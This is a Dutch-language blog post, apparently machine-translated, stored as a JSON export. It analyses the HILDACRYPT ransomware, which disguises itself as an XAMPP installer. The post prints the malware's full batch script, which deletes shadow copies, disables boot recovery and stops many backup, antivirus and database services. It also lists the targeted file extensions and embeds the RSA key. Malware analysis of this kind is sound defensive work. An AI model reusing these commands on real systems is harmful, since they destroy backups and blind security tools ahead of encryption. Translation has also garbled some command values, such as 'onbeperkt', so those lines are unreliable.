{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: nieuwe ransomware-aanval richt zich op back-upsystemen en antivirusoplossingen","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hallo, Habr! We vertellen opnieuw over de nieuwste versies van malware in de ransomware-categorie. HILDACRYPT is een nieuwe ransomware en een vertegenwoordiger van de Hilda-familie, die in augustus 2019 werd ontdekt, vernoemd naar een animatieserie op de streamingdienst Netflix die werd gebruikt voor de verspreiding van de malware. Vandaag leren we de technische kenmerken van deze vernieuwde ransomware kennen.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nIn de eerste versie van Hilda was er een link naar de op YouTube gehoste trailer<\/a><\/noindex> van de animatieserie in de losgeldbrief. HILDACRYPT vermomt zich echter als een legitieme XAMPP-installateur - een eenvoudig te installeren distributie van Apache, inclusief MariaDB, PHP en Perl. Bovendien heeft de ransomware een andere bestandsnaam - xamp. Daarnaast heeft het ransomware-bestand geen digitale handtekening.<\/p>\n

Statistische analyse<\/h3>\n

\nDe ransomware is opgenomen in een PE32 .NET-bestand, geschreven voor MS Windows. Het heeft een grootte van 135.168 bytes. Zowel de belangrijkste programmatuur als de code van de beschermingsprogramma zijn geschreven in C#. Volgens de tijdstempel van de compilatie is het binaire bestand gemaakt op 14 september 2019.<\/p>\n

\"HILDACRYPT:
\n
\nVolgens Detect It Easy is de ransomware verpakt met Confuser en ConfuserEx, maar deze obfuscators zijn zoals eerder, alleen is ConfuserEx de opvolger van Confuser, zodat de handtekeningen van hun code vergelijkbaar zijn. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT is inderdaad verpakt met ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Aanval vector<\/h3>\n

\nWaarschijnlijk werd de ransomware ontdekt op een van de websites gewijd aan webprogrammering, zich voordoend als een legitiem programma XAMPP.<\/p>\n

De hele infectieketen is te zien in app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuscatie <\/h3>\n

\nDe strings van de ransomware worden opgeslagen in versleutelde vorm. Bij het starten decrypt HILDACRYPT ze met behulp van Base64 en AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installatie<\/h3>\n

\nDe ransomware maakt eerst een map aan in %AppDataRoaming% met een GUID (Globally Unique Identifier) die willekeurig wordt gegenereerd. Door een bat-bestand aan deze locatie toe te voegen, start de ransomware het met cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nDaarna begint het met het uitvoeren van het batchscript om systeemfuncties of -diensten uit te schakelen.<\/p>\n

\"HILDACRYPT:
\n
\nHet script bevat een lange lijst van opdrachten waarmee schaduwkopie\u00ebn worden vernietigd, de SQL-server wordt uitgeschakeld, en back-up en antivirusoplossingen worden uitgeschakeld.<\/p>\n

Bijvoorbeeld, het probeert zonder succes de back-updiensten van Acronis Backup te stoppen. Bovendien valt het back-up- en antivirusoplossingen aan van de volgende leveranciers: Veeam, Sophos, Kaspersky, McAfee en anderen.<\/p>\n

@echo off\n:: Ik ben niet echt een fan van pony's, cartoonmeisjes zijn beter, vind je niet?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=onbeperkt\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=onbeperkt\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=onbeperkt\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=onbeperkt\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=onbeperkt\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=onbeperkt\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \"Sophos Device Control Service\" \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \"Zoolz 2 Service\" \/y\nnet stop McTaskManager \/y\nnet stop \"Sophos AutoUpdate Service\" \/y\nnet stop \"Sophos System Protection Service\" \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \"Symantec System Recovery\" \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \"Sophos Health Service\" \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \"Sophos Message Router\" \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \"Sophos Clean Service\" \/y\nnet stop swi_update_64 \/y\nnet stop \"Sophos Web Control Service\" \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \"Veeam Backup Catalog Data Service\" \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \"Sophos MCS Client\" \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \"SQLsafe Backup Service\" \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \"Sophos Safestore Service\" \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \"Sophos File Scanner Service\" \/y\nnet stop \"Sophos Agent\" \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \"Enterprise Client Service\" \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \"SQL Backups\" \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \"Sophos MCS Agent\" \/y\nnet stop RESvc \/y\nnet stop \"Acronis VSS Provider\" \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \"SQLsafe Filter Service\" \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nNadat de hierboven genoemde diensten en processen zijn uitgeschakeld, verzamelt de cryptolocker informatie over alle actieve processen met behulp van de opdracht tasklist, om te controleren of alle benodigde diensten niet actief zijn. 
\ntasklist v \/fo csv<\/i><\/p>\n
Deze opdracht levert een gedetailleerde lijst van actieve processen, waarvan de elementen zijn gescheiden door een komma. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abdiensten\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abonbekend\u00bb,\u00bb\/\u00bb\u00bb,\u00ab0:00:03\u00bb,\u00bb\/\u00bb\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nNa deze controle begint de ransomware met het versleutelingsproces. <\/p>\n
Versleuteling 
\n<\/h3>\n
Versleuteling van bestanden<\/h4>\n
\nHILDACRYPT doorloopt alle gevonden inhoud op de harde schijven, behalve de mappen Recycle.Bin en Reference AssembliesMicrosoft. Deze laatste bevatten cruciale dll, pdb, en andere bestanden voor .Net-applicaties die de werking van de ransomware kunnen be\u00efnvloeden. De volgende lijst met extensies wordt gebruikt om bestanden te zoeken die versleuteld zullen worden:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md\u00bb
\n<\/i>
\nVoor het versleutelen van de bestanden van de gebruiker gebruikt de ransomware het AES-256-CBC-algoritme. De sleutelgrootte bedraagt 256 bits en de grootte van de initialisatievector (IV) is 16 bytes. <\/p>\n
\"HILDACRYPT:
\n
\nOp de volgende schermafbeelding zijn de waarden byte_2 en byte_1 willekeurig verkregen met behulp van GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nSleutel<\/p>\n
\"HILDACRYPT:
\n
\nWZ<\/p>\n
\"HILDACRYPT:
\n
\nHet versleutelde bestand heeft de extensie HCY!.. Dit is een voorbeeld van een versleuteld bestand. Voor dit bestand zijn de sleutel en IV aangemaakt, zoals hierboven vermeld. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Sleutelversleuteling<\/h4>\n
\nDe cryptolocker slaat de gegenereerde AES-sleutel op in het versleutelde bestand. Het eerste deel van het versleutelde bestand bevat een kop die gegevens zoals HILDACRYPT, KEY, IV, FileLen in XML-indeling bevat en eruitziet als volgt:<\/p>\n
\"HILDACRYPT:
\n
\nDe AES-sleutel en IV worden versleuteld met behulp van RSA-2048 en gecodeerd met Base64. De publieke RSA-sleutel wordt in het lichaam van de cryptolocker opgeslagen in een van de versleutelde lijnen in XML-indeling.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Voor de versleuteling van de AES-blaad hebben we de publieke RSA-sleutel. De publieke RSA-sleutel is gecodeerd met Base64 en bestaat uit een modulus en een publieke exponent van 65537. Voor decryptie is de particuliere RSA-sleutel nodig, die de aanvaller heeft.<\/p>\n
Na de RSA-versleuteling wordt de AES-sleutel gecodeerd met Base64, opgeslagen in het versleutelde bestand.<\/p>\n
Losgeldbericht<\/h3>\n
\nNa het versleutelen schrijft HILDACRYPT een html-bestand naar de map waarin het bestanden heeft versleuteld. De melding van de ransomware bevat twee e-mailadressen waarmee het slachtoffer contact kan opnemen met de aanvaller.<\/p>\n